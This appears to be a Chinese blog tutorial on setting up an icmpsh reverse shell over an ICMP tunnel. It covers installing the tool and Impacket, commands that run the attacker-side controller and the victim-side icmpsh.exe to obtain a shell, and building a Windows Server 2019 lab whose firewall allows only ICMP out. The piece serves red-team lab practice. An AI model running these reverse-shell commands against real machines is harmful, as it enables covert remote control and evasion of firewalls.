内网穿透之icmp隧道搭建+上线CS+环境场景搭建(二)

简介: 内网穿透之icmp隧道搭建+上线CS+环境场景搭建

六、icmpsh反弹shell

0 icmpsh简介

icmpsh 是一个简单的反向 ICMP shell,带有一个 win32 从站和一个 C、Perl 或 Python 中的 POSIX 兼容主站。与其他类似的开源工具相比,它的主要优势在于它不需要管理权限即可在目标机器上运行。

该工具干净、简单且便携。该目标Windows机器上从(客户端)运行,它是用C写的,在Windows受害者机器上运行服务器端,在攻击者机器上的任何平台上运行服务端。

1 下载地址

https://github.com/bdamele/icmpsh

2 工具安装

如果遇到报错,请看下面的报错解决方法

#下载工具
git clone https://github.com/inquisb/icmpsh.git
#安装依赖
apt-get install python-impacket
#关闭本地ICMP应答
sysctl -w net.ipv4.icmp_echo_ignore_all=1

3 V/PS-kali运行icmpsh的控制端

python icmpsh_m.py v/ps-ip attack-ip
python icmpsh_m.py 192.168.3.76 192.168.3.88

a0f9a1d0e05e54c1e8f30d3df807a13f_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

4 WEB服务器运行

icmpsh.exe -t 192.168.3.76

45972e99def82e308ce9e2e70bc38d1c_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

v/ps接收到shell

57a1ef69a13207b4b34431953ec7022d_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

使用wireshark抓包可以看到数据包都是ICMP协议

00bf8944b194a9bd1b80fce407c1c36f_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

5 报错解决

You need to ``install``Python Impacket library first

解决:

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip install -r requirements.txt
python setup.py install

如果第三行命令报错

265a5f1530275b3b8bc097f36367fbfc_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

切换普通用户再执行

116c63aa909d38f33e0635aa0d65385c_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

安装完成后切换用户进行监听

6 局限性

V/PS和WEB服务器必须要能够相互ping通

七、附:隧道场景搭建

windows server 2019环境-icmp出网环境搭建记录

1 WEB服务器环境搭建

设置Windows防火墙策略

1) 启用防火墙

337d764fa4afcc72b2782387c7c2172b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

2) 防火墙高级设置(重点)

(1)设置阻止入站/出站连接

打开高级设置

c27b6be38d88048d921148699eecea7d_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

选择属性

0672378b3e5115ed4d213f4e68913eaf_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

a5dbd0efb82501d91728cece3b8f019a_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

域配置文件、专用配置文件、公用配置文件这三个标签中出站连接设置为阻止,确定

再次查看

e8f33755aa6bed65a151a7ac2a0fea44_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

(2)禁用全部已启用的入站规则

选择入站规则,按照已启用排序,把启用的规则选中,全部禁用

61b287b04e367e54d0cab9a5ce0284a7_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

e513a4aec0df40f6d56a2696feeb21cc_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

(3)新建入站规则:允许80端口tcp入站

新建一个web服务,仅TCP的80端口入站

1ad367deb62bb7497cc51a18829656ec_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

选择端口,下一步

97620498a39fea613ead023a50bf7239_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

选择tcp,输入特定端口80

7e446d0d7d86cdaac2a031a351e76db7_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

默认选择允许连接,下一步

1bc46c28c7e4a65726996019747c534c_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

选择专用 公用,下一步

83a629dbf79696f423ed0ccee5471919_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

随便命名,完成

358161fd2d7284978509d7c7ccf19708_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

(4)新建出站规则:允许ICMP协议出站

禁用全部已启用的出站规则:同样点击出站规则,把启用的全部禁用掉

新建一个基于icmp协议的规则

1dabf782ed7e4926364566473612d5c2_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

选择自定义,协议和端口

48bad16ce935e3808b38449be0ada9eb_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

默认,下一步

3b83f2e5773860799ff87a7788c53fb9_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

协议类型选择icmpv4,其余默认,下一步。"这里可以查看几个协议的协议号"

98b9722baff0a572386b074402745f17_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

作用域默认任何IP地址,下一步

ee6d2494df078fda97334b0585397b4c_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

选择允许连接,下一步

10f8e95195ae9e519eba8607d0268660_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

选择专用、公用,下一步

198bf9e972ec3b9d463fe36a2c8dafe8_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

输入命名,完成

b491026ddf32aed24369a255b618f3fd_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg



相关文章
|
5月前
|
网络协议 安全 Linux
【内网安全】隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac
【内网安全】隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac
|
5月前
|
安全 网络协议 Linux
【内网安全】 隧道技术&SMB&ICMP&正反向连接&防火墙出入规则上线
【内网安全】 隧道技术&SMB&ICMP&正反向连接&防火墙出入规则上线
|
网络协议 Shell 网络安全
利用icmpsh建立icmp隧道反弹shell
利用icmpsh建立icmp隧道反弹shell
144 0
|
网络协议 Go
通过Pingtunnel搭建ICMP隧道上线
假如实战环境中,其他协议都不能出网,唯一的突破口为ICMP协议(也就是ping出网),那么可利用ICMP隧道达到上线
585 0
|
网络协议 安全 测试技术
内网穿透之icmp隧道搭建+上线CS+环境场景搭建(三)
内网穿透之icmp隧道搭建+上线CS+环境场景搭建
266 0
内网穿透之icmp隧道搭建+上线CS+环境场景搭建(三)
|
安全 网络协议 Shell
内网穿透之icmp隧道搭建+上线CS+环境场景搭建(一)
内网穿透之icmp隧道搭建+上线CS+环境场景搭建
886 0
内网穿透之icmp隧道搭建+上线CS+环境场景搭建(一)
|
网络协议 网络架构
网络协议与攻击模拟-05-ICMP协议
网络协议与攻击模拟-05-ICMP协议
104 0
|
6月前
|
存储 网络协议 算法
基于 Wireshark 分析 ICMP 协议
基于 Wireshark 分析 ICMP 协议
|
2月前
|
网络协议 Unix 网络架构
网际控制报文协议ICMP
网际控制报文协议(ICMP)是TCP/IP体系结构中网际层的关键组件,用于提高IP数据报的成功传输率。ICMP主要处理两类报文:差错报告报文与询问报文。前者包括终点不可达、源点抑制、时间超过、参数问题及重定向等五类;后者则涵盖回送请求/回答及时间戳请求/回答。ICMP广泛应用于检测网络连通性的PING工具和追踪数据包路径的traceroute工具中。两者分别利用ICMP的回送请求报文及差错报告报文实现功能。
82 10
|
3月前
|
网络协议 网络架构
用户态协议栈03-icmp实现
用户态协议栈03-icmp实现
下一篇
无影云桌面